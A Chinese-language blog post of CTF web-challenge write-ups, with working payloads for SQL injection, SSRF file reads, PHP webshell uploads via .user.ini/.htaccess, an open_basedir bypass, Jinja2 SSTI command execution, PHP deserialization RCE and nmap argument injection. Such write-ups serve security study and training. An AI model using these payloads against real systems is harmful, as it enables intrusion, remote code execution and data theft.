payload:1;set sql_mode=PIPES_AS_CONCAT;select 1,PIPES AS CONCAT 把 || 视为字符串连接符而不是或运算, select 1 || flag 会合并 select 1 和select flag 的查询结果,如果用字母无法得到flag,因为会合并成类似 select aflag 的形式

[SUCTF 2019]Pythonginx

Unicode安全,可以参考博客里的另一篇文章,Host-Split attack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

payload:/getUrl?url=file%3A//suctf.c%E2%84%82/../../../../etc/passwd,前两次没有问题,第三次会把%E2%84%82转化成c,可以任意文件读取。

读nginx配置文件,在/etc/nginx/conf.d/nginx.conf没发现,/usr/local/nginx/conf/nginx.conf找到注释/usr/fffffflag

[SUCTF] checkin

插入后缀名改成jpg的一句话,提示<?in contents

改成<scriptlanguage="php">,提示不是图片

文件开头加上GIF89a,成功上传。

服务器是nginx,不能上传.htaccess,需要利用.user.ini

.user.ini中可以更改php.ini中的PHP_INI_PERDIR 和 PHP_INI_USER设置。

auto_prepend_file和auto_append_file会在php文件的前/后自动插入指定的文件。

上传.user.ini

1
2
GIF89a
auto_prepend_file=ow.jpg

上传目录下有一个index.php文件,访问index.php即可执行我们上传的php文件。

[SUCTF] easy web

看一下代码,大概是要进行到eval()函数执行get_the_flag(),然后通过文件上传拿shell。

第一步,正则过滤了茫茫多的字符,需要绕过。参考无字母数字shell无字母数字shell提高篇php异或shell,对字符串的长度,重复使用的字符也有要求。

接下来是php特性

1
2
3
4
5
6
7
8
<?php
$_GET['a'];
$_GET[a]; # 没有引号的字符视为字符串,所以以上两条等价
$_GET{a}; # 字符串后面跟随大括号和中括号都把字符串看作一个数组,所以以上两种等价
$a='phpinfo';
$a(); # 动态调用函数,可以直接在字符串后加上括号把字符串当作函数名
echo ab^cd; # 得到两个不可见字符,php可以直接对两个字符串进行异或操作,相当于两位两位分别异或
?>

于是使用不可见的字符绕过正则,同时使两个字符串异或得到_GET${}没有被过滤,直接使用可以减少一个字符量。除了异或也可以使用取反或者自增。

1
2
3
4
5
6
7
8
r = 255 # %ff
target = "_GET"
res = []
for t in target:
for l in range(0, 255):
if l ^ r == ord(t):
res.append(hex(l))
print(res)

得到/xa0/xb8/xba/xab,payload:

1
?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag # $_GET{%ff}()

这样就可以执行get_the_flag()

第二步文件上传,要求后缀中不存在ph,内容中不含<?,还要通过exif_imagetype。使用.htaccess绕过后缀限制,用<script language="php">@eval($_REQUEST[c]);</script>的方式上传shell,在.htaccess和shell签名加上GIF89a来绕过exif_imagetype的检测。

构造一个上传页面,用来上传两个文件

1
2
3
4
<Form action="http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</Form>

a.aaa文件:

1
GIF89a<script language="php">@eval($_REQUEST['c']);</script>

完了失败了,应该是在.htaccess前加的GIF89a导致文件失效了,换个方式。由于#在.htaccess中是注释符,不影响执行,同时这两条是图片文件头:

1
2
3
#define width 123
#define height 123
AddType application/x-httpd-php .aaa

这时访问http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=phpinfo();发现返回的内容是GIF89a<script language="php">@eval($_REQUEST['c']);</script>,可能由于版本原因script标签指定的php不能起作用。改一下a.aaa文件,把<?php @eval($_REQUEST[c]);?>base64编码然后加到GIF89a后面,多加两个a是为了可以正常base64解码

1
GIF89aaaPD9waHAgQGV2YWwoJF9SRVFVRVNUW2NdKTs/Pg==

读取文件内容时用的是file_get_contents,可以使用php伪协议base64解密,所以修改.htaccess:

1
2
3
4
#define width 123
#define height 123
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa

访问http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=phpinfo();,成功拿到shell

蚁剑连接,html目录下有个假flag,再上层的目录提示无权限,在phpinfo可以看到设置了open_basedir

1
2
This is fake flag
But I heard php7.2-fpm has been initialized in unix socket mode!

oepn_basedir绕过,选择了chdir和ini_set合用的方式绕过

1
http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

发现根目录下的THis_Is_tHe_F14g,最终payload

1
http://667a5d02-8472-42fe-bd78-90fd1a80ad73.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/a.aaa?c=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

extra:打印函数被禁用,如果curl可用,可以搭建一个靶机,把信息存入数据库或者文件,将回显信息发送到靶机,命令执行无回显时可以使用以下payload

1
$_="xxx";?><?=$_?>

当system,passthru等不可用时,可以使用popen,proc_open等管道命令执行命令,也可以使用反引号,括起来的内容会作为shell命令执行,并将输出信息返回。

1
$_=`ls`;

不能使用字母数字时也可以用通配符方式。

1
2
/???/??? # /bin/cat
/???/??? /???/???/???/?????.??? # /bin/cat /var/www/html/index.php

[SWPU2019]Web1

发布广告的标题位置存在注入,要在查询广告内容的时候触发。

发现 #-or会被waf,空格会被过滤,于是用/**/代替空格,在union select中闭合后面的单引号。

看看有多少列

1
a' union select 1,1...1,1,'1 

一度怀疑自己方法有问题,结果它TM有22列。第2、3位可以显示。由于or被过滤,没办法使用informationschema,查一下版本,MariaDB,可以使用mysql.innodb_table_stats,查到表名

1
2
3
a'/**/union/**/select/**/1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
a'/**/union/**/select/**/1,(select group_concat(table_name) from mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

有FLAG_TABLE,news,users,gtid_slave_pos,ads,users几个表,接下来无列名注入。

1
a'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/a,2/**/b,3/**/c/**/union/**/select/**/*/**/from/**/users)d),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

需要一个一个试出每个表有多少列。

[WUSTCTF2020]朴实无华

intval 对于指数表示只会返回e前的内容。

md5 传入一个 0e215962017,md5后还是一个0e开头的数字,可以相等。

get_flag 先用 ls 看一下目录,找到flag,%09代替空格,ca\t代替cat

1
ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[WesternCTF2018]shrine

服务端模板注入(SSTI),有工具 tqlmap,类似于sqlmap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

访问/shrine/{{1+1}},得到2,可以模板注入。源码中flag在config里,如果没有过滤可以用{{config}}直接获取,但是这里设置了黑名单并且过滤了括号。

但python有一些内置函数,比如url_forget_flashed_messages,可用payload:

1
2
3
/shrine/{{url_for.__globals__}} # 得到current_app
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}} # 与上面类似

命令执行

1
{%25 for c in [].__class__.__base__.__subclasses__() %25}%0A{%25 if c.__name__ %3D%3D 'catch_warnings' %25}%0A%20 {%25 for b in c.__init__.__globals__.values() %25}%0A%20 {%25 if b.__class__ %3D%3D {}.__class__ %25}%0A%20%20%20 {%25 if 'eval' in b.keys() %25}%0A%20%20%20%20%20 {{ b['eval']('__import__("os").popen("id").read()') }}%0A%20%20%20 {%25 endif %25}%0A%20 {%25 endif %25}%0A%20 {%25 endfor %25}%0A{%25 endif %25}%0A{%25 endfor %25}

[网鼎杯 2020 朱雀组]phpweb

F12看一下有个隐藏的表单,会自动提交。警告信息显示是执行了 func 这个函数,把 p 当作参数。尝试了几个命令执行函数都被 ban 了。

读一下源码

1
file_get_contents(index.php)

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

把 func 转换成小写,然后检查 ,不能在 disable func 里。func(p)_返回的结果必须是字符串(其实不重要)。

里面给出了一个类,有 destruct方法,可以反序列化绕过 disable func 的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "whoami";
var $func = "exec";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$s = serialize($a);
unserialize($s);

验证可以执行命令,buu 的环境中 exec ls 只能看见 /var/www/html这一串目录,尝试用 system。

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

找到 flag

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[网鼎杯 2020 朱雀组]Nmap

类似于 Online Tools,应用了 escapeshellarg()+escapeshellcmd(),导致逃逸。

两种方法

1
2
127.0.0.1' -iL /flag -oN flag.txt ' # 利用 nmap 参数, -iL 从指定文件读取主机/IP 进行扫描,-oN 将扫描结果写入指定文件
' <?= @eval($_POST["pd"]);?> -oG pd.phtml ' # 写入 shell ,由于过滤了 php ,使用 <?= 和 phtml 进行绕过

[网鼎杯 2020 青龙组]ArdeUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

反序列化,process 中需要使 op 为 2,然后在 read 中读取 flag.php。所以需要把 op 改成 2,filename 改成 flag.php。

记录一下,private 成员序列化的格式为 %00ClassName%00Attribute,protected 成员格式为%00*%00Attribute。正常 payload

1
O:11:"FileHandler":3:{s:5:"%00*%00op";s:1:"2";s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";s:1:"a";}

会使用===判断 op 是否为 "2",可以利用弱类型特性,传入数字 2.

由于使用了%00,不能通过 is_valid,将序列化后的字符串中的 s改为S,后面的字符串就可以使用 16 进制表示。

执行__destruct()时,目录不再是该文件位置(?),所以需要使用绝对路径读取文件。可以通过读取 /proc/self/cmdlie获取配置文件路径,在配置文件中得到 web 绝对路径。

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler{
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = serialize(new FileHandler);
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);
echo urlencode($a);
# PD9waHAgJGZsYWc9J2ZsYWd7ZDg2ZWRiMjMtNzk0Zi00NDI4LTllNTQtZmQ2NDk2YmNmMjBlfSc7Cg==

在 php 7.1+ 环境中,对属性类型不敏感,也可以使用 public 属性来绕过。

[网鼎杯 2018]Fakebook

注册一个账号,点进去能看见自己的资料和博客内容。同时发现no=1,尝试注入。

sqlmap告诉我它可以注,但是没跑出来,手注。

1
2
3
4
5
6
7
8
9
10
no=1'  //报错
no=1 and 1=1 //正常,sql语句应该是 select ... from ... where id = no
no=1 order by 4 //正常
no=1 order by 5 //报错,有4列
no=0 union select 1,2,3,4 //nohack 有过滤
no=0/**/union/**/select/**/1,2,3,4 //用/**/绕过空格,发现2可以显示,同时知道了网站的绝对路径是/var/www/html
no=0/**/union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata //查库,发现fakebook
no=0/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27fakebook%27 //查表,得到users
no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name=%27users%27 //查列,得到no,username,passwd,data
no=0/**/union/**/select/**/1,group_concat(data),3,4/**/from/**/users //得到O:8:"UserInfo":3:{s:4:"name";s:1:"A";s:3:"age";i:0;s:4:"blog";s:5:"a.com";},一个序列化的用户信息

同时有两个信息

1
2
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31
Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67

猜测view.php把从数据库中查出的字符串反序列化后执行getBlogContents方法

看一下robots.php,发现有user.php.bak,知道了getBlogContents方法是调用curl_execcurl_exec可以接受file://协议,于是最终payload

1
no=0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:5;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

flag在iframe标签里

[Zer0pts2020]Can you guess it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

random_bytes没有查到什么问题,生成的随机数强度非常高,重点在上面的$_SERVER[PHP_SELF]上面

$_SERVER['PHP_SELF']指的是运行的 PHP 脚本,上面匹配到这个$_SERVER['PHP_SELF']之后就退出,但是下面的highlignt_file显示的是basename($_SERVER['PHP_SELF'])

1
basename('/index.php/config.php')	# config.php

因此我们只需要绕过第一个正则表达式即可,fuzz 一下可以绕过

1
2
3
4
5
6
7
8
import requests

url = 'http://6de85585-1529-4b55-b532-e510c9ddcf3e.node3.buuoj.cn/index.php/config.php/{}?source'

for i in range(255):
r = requests.get(url.format(chr(i)))
if '{' in r.text:
print(r.text)

[ZJCTF 2019]NiZhuanSiWei

第一步绕过text,可以使用data://或者php://input伪协议。第二步用php://filter读取useless.phphttp://4a66ab84-c72b-4d9c-bafd-19fab18c72d0.node3.buuoj.cn/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php,得到Flag类的结构。第三步读取flag.php,序列化一个Flag对象,用php://filter读flag。

1
2
3
4
5
6
7
8
<?php
class Flag{
public $file;
}
$s = new Flag();
$s->file='php://filter/read=convert.base64-encode/resource=flag.php';
echo serialize($s);
?>

得到O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

最终payload

1
http://4a66ab84-c72b-4d9c-bafd-19fab18c72d0.node3.buuoj.cn/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

[0CTF] 2016 piapiapia

扫一下,发现www.zip,走一遍正常流程,注册,登录,更新资料,查看资料。

flag在config.php里,目的是要读到config.php,找一下能读文件的位置。

在profile.php找到file_get_contents($profile['photo']);,看一下能不能使$profile['photo']==’config.php‘,往上面找,profile来源于show_profile()反序列化,再看一下showprofile。

showprofile中,username经过过滤,无法注入(但过滤是很奇怪的),然后从数据库中查询到序列化的字符串,反序列化得到profile,再看看update_profile()

updateprofile中,把username和newprofile过滤,其中newprofile是序列化后的表单内容,接下来重点看filter。

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

进行了转义,如果发现 select, insert, update, delete, where会把它们变成hacker。对于profile来说,已经序列化的字符串长度时固定的,比如s:8:"nickname";s:5:"where",如果把where变成hacker,后面就变成s:5:"hacker",反序列化时最后的引号就逃逸了。于是我们希望利用nickname这项来逃逸字符,使得最后的photo值为config.php。

nickname也有过滤

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

可以用数组绕过。

正常序列化后的profile是 a:4:{s:5:"phone";s:11:"12312312123";s:5:"email";s:12:"aaaaa@qq.com";s:8:"nickname";a:1:{i:0;s:5:"where";}s:5:"photo";s:14:"upload/somemd5";},我们希望逃逸出的字符串是";}s:5:"photo";s:10:"config.php";},总共是34个字符,因此需要34个where,希望构成a:4:{s:5:"phone";s:11:"12312312123";s:5:"email";s:12:"aaaaa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} (后面还有一些),这样where替换成hacker的时候后面的config.php就会赋值给photo

最后的payload,要在burp里面把nickname改成数组,内容是wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} ,在img的src里面能发现base64编码后的config.php,解码得到flag

CG-CTF

web

层层递进

一直找iframe标签border那些都是0对应的文件,找到小故事,查看源代码的js文件名可以连成flag

php decode

看出题目是返回一个处理后的字符串,eval改为echo

mysql

看robots.txt,应该是要查询id=1024的内容,但是id==1024要得到false,利用intval,可以用1024e1,或者1024.1

作者

lll

发布于

2019-10-05

更新于

2020-11-14

许可协议